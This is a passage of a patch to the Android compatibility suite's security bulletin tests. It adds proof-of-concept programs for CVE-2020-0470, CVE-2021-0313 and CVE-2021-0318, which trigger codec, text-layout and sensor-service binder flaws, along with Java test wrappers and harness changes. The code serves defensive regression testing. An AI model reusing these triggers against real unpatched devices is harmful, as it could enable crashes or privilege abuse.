--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <media/NdkMediaCodec.h>
+
+#define DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS 1000
+#define TOTAL_TIMEOUT_MICROSECONDS (300 * 1000 * 1000)
+#define FILE_SIZE 72
+#define VIDEO_MAX_WIDTH 176
+#define VIDEO_MAX_HEIGHT 144
+#endif /* _64_BIT */
+
+int main(int argc, char *argv[]) {
+    (void)argc;
+    (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    FILE *inFile = fopen(argv[1], "rb");
+    if (!inFile) {
+        return EXIT_FAILURE;
+    }
+    AMediaCodec *codec;
+    media_status_t status;
+    int64_t inActiveTime = 0ll;
+    bool isEncoder = false;
+
+    codec = AMediaCodec_createCodecByName("c2.android.av1-aom.decoder");
+    if (!codec) {
+        fclose(inFile);
+        return EXIT_FAILURE;
+    }
+    /* Set Format */
+    AMediaFormat *format = AMediaFormat_new();
+    if (!format) {
+        fclose(inFile);
+        AMediaCodec_delete(codec);
+        return EXIT_FAILURE;
+    }
+    AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, "video/av01");
+    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_MAX_INPUT_SIZE, FILE_SIZE);
+    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_WIDTH, VIDEO_MAX_WIDTH);
+    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_HEIGHT, VIDEO_MAX_HEIGHT);
+    AMediaCodec_configure(codec, format, nullptr, nullptr, isEncoder);
+    AMediaCodec_start(codec);
+
+    size_t filePos = 0;
+    bool inputEOS = false;
+    while (inActiveTime < TOTAL_TIMEOUT_MICROSECONDS) {
+        /* Queue input data */
+        if (!inputEOS) {
+            uint32_t bufferFlags = 0;
+            ssize_t inIdx =
+                AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+            if (inIdx >= 0) {
+                ssize_t bytesRead = 0;
+                size_t bufSize;
+                uint8_t *buf = AMediaCodec_getInputBuffer(codec, inIdx, &bufSize);
+                if (filePos < FILE_SIZE) {
+                    bytesRead = fread(buf, 1, FILE_SIZE, inFile);
+                    filePos += FILE_SIZE;
+                    fseek(inFile, filePos, SEEK_SET);
+                }
+                if (bytesRead <= 0) {
+                    bytesRead = 0;
+                    inputEOS = true;
+                    bufferFlags |= AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
+                }
+                status = AMediaCodec_queueInputBuffer(codec, inIdx, 0, bytesRead, 0, bufferFlags);
+                if (status != AMEDIA_OK) {
+                    break;
+                }
+                inActiveTime = 0;
+            } else if (inIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+                inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+            } else {
+                break;
+            }
+        }
+        /* Dequeue output */
+        AMediaCodecBufferInfo info;
+        ssize_t outIdx =
+            AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+        if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
+            outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+            inActiveTime = 0;
+        } else if (outIdx >= 0) {
+            status = AMediaCodec_releaseOutputBuffer(codec, outIdx, false);
+            if (status != AMEDIA_OK) {
+                break;
+            }
+            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+                break;
+            }
+            inActiveTime = 0;
+        } else if (outIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+            inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+        } else {
+            break;
+        }
+    }
+    AMediaFormat_delete(format);
+    AMediaCodec_stop(codec);
+    AMediaCodec_delete(codec);
+    fclose(inFile);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
new file mode 100644
index 0000000..5862db7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-0313",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "frameworks/minikin/libs/",
+    ],
+    shared_libs: [
+        "libminikin",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
new file mode 100644
index 0000000..16b4242
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "minikin/LayoutUtils.h"
+
+using namespace minikin;
+
+int main() {
+    // This PoC reuses the testcase provided in the GTest "BidiCtrl"
+    // of LayoutSplitterTest.cpp
+    const uint16_t testCase[] = {0x2066, 0x2069, 0x202A, 0x202E, 0x200E, 0x200F};
+    size_t offset = 0;
+    size_t len = sizeof(testCase) / sizeof(uint16_t);
+    return (getNextWordBreakForCache(U16StringPiece(testCase, len), offset) == len)
+               ? EXIT_VULNERABLE
+               : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
new file mode 100644
index 0000000..3249347
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-0318",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+       "libsensor",
+       "libsensorservice",
+       "libbinder",
+       "libutils",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wextra",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
new file mode 100644
index 0000000..cd67392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
@@ -0,0 +1,122 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+void poc(int handle) {
+    status_t err;
+    sp<IServiceManager> sm = defaultServiceManager();
+    String16 name(String16("sensorservice"));
+    sp<IBinder> service = sm->getService(name);
+
+    if (service) {
+        Parcel data, reply;
+        data.writeInterfaceToken(service->getInterfaceDescriptor());
+        data.writeString8(String8("com.android.systemui.doze.DozeScreenBrightness"));
+        data.writeInt32(0 /*mode*/);
+        data.writeString16(String16("com.android.systemui"));
+        err = service->transact(2 /*CREATE_SENSOR_EVENT_CONNECTION*/, data, &reply, 0);
+        printf("CREATE_SENSOR_EVENT_CONNECTION err %08x \n", err);
+
+        sp<IBinder> binder = reply.readStrongBinder();
+
+        if (binder) {
+            {
+                Parcel data, reply;
+                data.writeInterfaceToken(binder->getInterfaceDescriptor());
+                data.writeInt32(handle); // handle
+                data.writeInt32(1);      // enabled
+                data.writeInt64(0);      // samplingPeriodNs
+                data.writeInt64(989680); // maxBatchReportLatencyNs
+                data.writeInt32(0);      // reservedFlags
+                err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+                printf("ENABLE_DISABLE transact err %08x \n", err);
+            }
+
+            sleep(1);
+
+            {
+                Parcel data, reply;
+                String16 name = binder->getInterfaceDescriptor();
+                data.writeInterfaceToken(name);
+                err = binder->transact(6 /*DESTROY*/, data, &reply, 0);
+                printf("DESTROY transact err %08x \n", err);
+            }
+
+            {
+                Parcel data, reply;
+                data.writeInterfaceToken(binder->getInterfaceDescriptor());
+                data.writeInt32(handle); // handle
+                data.writeInt32(1);      // enabled
+                data.writeInt64(0);      // samplingPeriodNs
+                data.writeInt64(989680); // maxBatchReportLatencyNs
+                data.writeInt32(0);      // reservedFlags
+                err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+                if (reply.readInt32() == OK) {
+                    // Success in enabling a sensor after destroy leads to
+                    // security vulnerability.
+                    exit(EXIT_VULNERABLE);
+                }
+                printf("ENABLE_DISABLE transact err %08x\n", err);
+            }
+        } else {
+            printf("binder is null!\n");
+            sleep(3);
+        }
+    }
+}
+
+void get_sensor_list() {
+    sp<IServiceManager> sm = defaultServiceManager();
+    String16 name(String16("sensorservice"));
+    sp<IBinder> service = sm->getService(name);
+    if (service) {
+        Parcel data, reply;
+        data.writeInterfaceToken(String16("android.gui.SensorServer"));
+        data.writeString16(String16("opPackageName"));
+        service->transact(1 /*GET_SENSOR_LIST*/, data, &reply);
+
+        Sensor s;
+        Vector<Sensor> v;
+        uint32_t n = reply.readUint32();
+        v.setCapacity(n);
+        while (n > 0) {
+            n--;
+            reply.read(s);
+            v.add(s);
+            String8 nm = s.getName();
+            std::string nstr = nm.string();
+            String8 vd = s.getVendor();
+            std::string vstr = vd.string();
+            int32_t handle = s.getHandle();
+            printf("%s : %s, handle %d\n", nstr.c_str(), vstr.c_str(), handle);
+            poc(handle);
+        }
+    }
+}
+
+int main(int /* argc */, char** /* argv */) {
+    get_sensor_list();
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
index c20e845..6b85dba 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "cts_hostsidetests_securitybulletin_memutils",
     srcs: [
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index bc93c1e..0f894a6 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -36,11 +36,9 @@
 time_t start_timer(void);
 int timer_active(time_t timer_started);
 
-time_t start_timer(){
-  return time(NULL);
-}
+inline time_t start_timer() { return time(NULL); }
 
-int timer_active(time_t timer_started){
+inline int timer_active(time_t timer_started) {
   return time(NULL) < (timer_started + MAX_TEST_DURATION);
 }
 
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
index 80e125f..34df821 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -172,14 +172,14 @@
 #ifdef CHECK_UNINITIALIZED_MEMORY
 bool is_memory_uninitialized() {
     for (int i = 0; i < s_allocation_index; ++i) {
-        char *mem_ptr = s_allocation_list[i].mem_ptr;
+        uint8_t *mem_ptr = s_allocation_list[i].mem_ptr;
         size_t mem_size = s_allocation_list[i].mem_size;
         if (mem_ptr) {
 
 #ifdef CHECK_FOUR_BYTES
             if(mem_size > (2 * sizeof(uint32_t))) {
-                char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
-                char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+                uint8_t *mem_ptr_start = (uint8_t *) s_allocation_list[i].mem_ptr;
+                uint8_t *mem_ptr_end = (uint8_t *) s_allocation_list[i].mem_ptr + mem_size - 1;
                 for (size_t j = 0; j < sizeof(uint32_t); ++j) {
                     if (*mem_ptr_start++ == INITIAL_VAL) {
                         return true;
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp b/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
index 2d664aa..5887f2a 100644
--- a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "pacrunner",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6d9454f..5d22ed1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -17,6 +17,9 @@
 package android.security.cts;
 
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
 import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.ddmlib.CollectingOutputReceiver;
@@ -37,6 +40,7 @@
 import java.util.Arrays;
 import java.util.ArrayList;
 import java.util.concurrent.Callable;
+import java.util.Collections;
 
 import org.json.JSONArray;
 import org.json.JSONException;
@@ -53,6 +57,20 @@
     final static int TIMEOUT_SEC = 9 * 60;
     final static String RESOURCE_ROOT = "/";
 
+    public static class pocConfig {
+        String binaryName;
+        String arguments;
+        String inputFilesDestination;
+        ITestDevice device;
+        CrashUtils.Config config;
+        List<String> inputFiles = Collections.emptyList();
+
+        pocConfig(String binaryName, ITestDevice device) {
+            this.binaryName = binaryName;
+            this.device = device;
+        }
+    }
+
     /** Runs a commandline on the specified device
      *
      * @param command the command to be ran
@@ -142,8 +160,11 @@
      * @param arguments input arguments for the poc
      * @param receiver the type of receiver to run against
      */
-    public static void runPoc(String pocName, ITestDevice device, int timeout,
+    public static int runPoc(String pocName, ITestDevice device, int timeout,
             String arguments, IShellOutputReceiver receiver) throws Exception {
+        String remoteFile = String.format("%s%s", TMP_PATH, pocName);
+        SecurityTestCase.getPocPusher(device).pushFile(pocName, remoteFile);
+
         assertPocExecutable(pocName, device);
         if (receiver == null) {
             receiver = new NullOutputReceiver();
@@ -151,8 +172,32 @@
         if (arguments == null) {
             arguments = "";
         }
-        device.executeShellCommand(TMP_PATH + pocName + " " + arguments,
+
+        // since we have to return the exit status AND the poc stdout+stderr we redirect the exit
+        // status to a file temporarily
+        String exitStatusFilepath = TMP_PATH + "exit_status";
+        runCommandLine("rm " + exitStatusFilepath, device); // remove any old exit status
+        device.executeShellCommand(TMP_PATH + pocName + " " + arguments +
+                "; echo $? > " + exitStatusFilepath, // echo exit status to file
                 receiver, timeout, TimeUnit.SECONDS, 0);
+
+        // cat the exit status
+        String exitStatusString = runCommandLine("cat " + exitStatusFilepath, device).trim();
+
+        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+        reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+        int exitStatus = -1;
+        try {
+            exitStatus = Integer.parseInt(exitStatusString);
+            reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+        } catch (NumberFormatException e) {
+            // Getting the exit status is a bonus. We can continue without it.
+            CLog.w("Could not parse exit status to int: %s", exitStatusString);
+        }
+        reportLog.submit();
+
+        runCommandLine("rm " + exitStatusFilepath, device);
+        return exitStatus;
     }
 
     /**
@@ -260,10 +305,12 @@
      */
     public static void pushResources(String[] inputFiles, String inputFilesDestination,
             ITestDevice device) throws Exception {
-        if ( (inputFiles != null) && (inputFilesDestination != null)) {
-            for (String tempFile : inputFiles) {
-                pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
-            }
+        if (inputFiles == null || inputFilesDestination == null) {
+            throw new IllegalArgumentException(
+                    "Can't push resources: input files or destination is null");
+        }
+        for (String tempFile : inputFiles) {
+            pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
         }
     }
 
@@ -277,10 +324,12 @@
      */
     public static void removeResources(String[] inputFiles, String inputFilesDestination,
             ITestDevice device) throws Exception {
-        if ( (inputFiles != null) && (inputFilesDestination != null)) {
-            for (String tempFile : inputFiles) {
-                runCommandLine("rm " + inputFilesDestination + tempFile, device);
-            }
+        if (inputFiles == null || inputFilesDestination == null) {
+            throw new IllegalArgumentException(
+                    "Can't remove resources: input files or destination is null");
+        }
+        for (String tempFile : inputFiles) {
+            runCommandLine("rm " + inputFilesDestination + tempFile, device);
         }
     }
 
@@ -307,15 +356,21 @@
      */
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
         long time = System.currentTimeMillis();
-        String exitStatus = runCommandLine(
+        String exitStatusString = runCommandLine(
                 "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
         time = System.currentTimeMillis() - time;
+
         try {
-            return Integer.parseInt(exitStatus);
+            int exitStatus = Integer.parseInt(exitStatusString);
+            MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+            reportLog.addValue("command", cmd, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.submit();
+            return exitStatus;
         } catch (NumberFormatException e) {
             throw new IllegalArgumentException(String.format(
                     "Could not get the exit status (%s) for '%s' (%d ms).",
-                    exitStatus, cmd, time));
+                    exitStatusString, cmd, time));
         }
     }
 
@@ -356,20 +411,7 @@
      */
     public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
             int timeout) throws Exception {
-        assertPocExecutable(pocName, device);
-        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        String cmd = TMP_PATH + pocName + " " + arguments + " > /dev/null 2>&1; echo $?";
-        long time = System.currentTimeMillis();
-        device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
-        time = System.currentTimeMillis() - time;
-        String exitStatus = receiver.getOutput().trim();
-        try {
-            return Integer.parseInt(exitStatus);
-        } catch (NumberFormatException e) {
-            throw new IllegalArgumentException(String.format(
-                    "Could not get the exit status (%s) for '%s' (%d ms).",
-                    exitStatus, cmd, time));
-        }
+        return runPoc(pocName, device, timeout, arguments, null);
     }
 
     /**
@@ -522,10 +564,45 @@
     public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
             String inputFiles[], String inputFilesDestination, ITestDevice device,
             String processPatternStrings[]) throws Exception {
-        pushResources(inputFiles, inputFilesDestination, device);
-        runCommandLine("logcat -c", device);
+        pocConfig testConfig = new pocConfig(binaryName, device);
+        testConfig.arguments = arguments;
+
+        if (inputFiles != null) {
+            testConfig.inputFiles = Arrays.asList(inputFiles);
+            testConfig.inputFilesDestination = inputFilesDestination;
+        }
+
+        List<String> processPatternList = new ArrayList<>();
+        if (processPatternStrings != null) {
+            processPatternList.addAll(Arrays.asList(processPatternStrings));
+        }
+        processPatternList.add(binaryName);
+        String[] processPatternStringsWithSelf = new String[processPatternList.size()];
+        processPatternList.toArray(processPatternStringsWithSelf);
+        testConfig.config =
+                new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+
+        runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 3 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. There are no security crashes that match the expected process pattern.
+     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param testConfig test configuration
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
+        String[] inputFiles = null;
+        if(!testConfig.inputFiles.isEmpty()) {
+            inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
+            pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+        }
+        runCommandLine("logcat -c", testConfig.device);
         try {
-            runPocAssertExitStatusNotVulnerable(binaryName, arguments, device, TIMEOUT_SEC);
+            runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
+                    testConfig.device, TIMEOUT_SEC);
         } catch (IllegalArgumentException e) {
             /*
              * Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
@@ -535,16 +612,14 @@
              */
             CLog.w("Ignoring IllegalArgumentException: " + e);
         } finally {
-            removeResources(inputFiles, inputFilesDestination, device);
+            if (!testConfig.inputFiles.isEmpty()) {
+                removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+            }
         }
-        List<String> processPatternList = new ArrayList<>();
-        if (processPatternStrings != null) {
-            processPatternList.addAll(Arrays.asList(processPatternStrings));
+        if (testConfig.config == null) {
+            testConfig.config = new CrashUtils.Config();
         }
-        processPatternList.add(binaryName);
-        String[] processPatternStringsWithSelf = new String[processPatternList.size()];
-        processPatternList.toArray(processPatternStringsWithSelf);
-        assertNoCrashes(device, processPatternStringsWithSelf);
+        assertNoCrashes(testConfig.device, testConfig.config);
     }
 
     /**
@@ -572,6 +647,12 @@
         JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
         JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
 
+        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+        reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue("security_crashes", securityCrashes.toString(),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
         if (securityCrashes.length() == 0) {
             return; // no security crashes detected
         }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
new file mode 100644
index 0000000..b75dd3a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2016_6328 extends SecurityTestCase {
+
+    /**
+     * b/162602132
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2016_6328() throws Exception {
+        pocPusher.only32();
+        String inputFiles[] = {"cve_2016_6328.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-6328",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
new file mode 100644
index 0000000..f92c876
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2011 extends SecurityTestCase {
+
+    /**
+     * b/120084106
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-03")
+    @Test
+    public void testPocCVE_2019_2011() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2011", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
new file mode 100644
index 0000000..e4b41cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2136 extends SecurityTestCase {
+
+    /**
+     * b/132650049
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2136() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
new file mode 100644
index 0000000..ad9e06f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
